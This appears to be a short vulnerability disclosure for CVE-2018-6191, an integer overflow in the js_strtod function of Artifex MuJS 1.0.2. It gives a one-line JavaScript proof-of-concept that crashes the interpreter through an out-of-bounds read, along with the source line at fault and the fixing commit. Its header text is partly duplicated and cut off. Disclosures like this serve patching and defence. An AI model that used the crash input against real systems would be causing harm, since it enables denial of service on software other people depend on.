Artifex MuJS 1.0.2 Integer Overflow

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line https://github.com/ccxvii/
mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=
25821e6d74fab5fcc200fe5e818362e03e114428)

Please let me know if you need more info.

Andrea Sindoni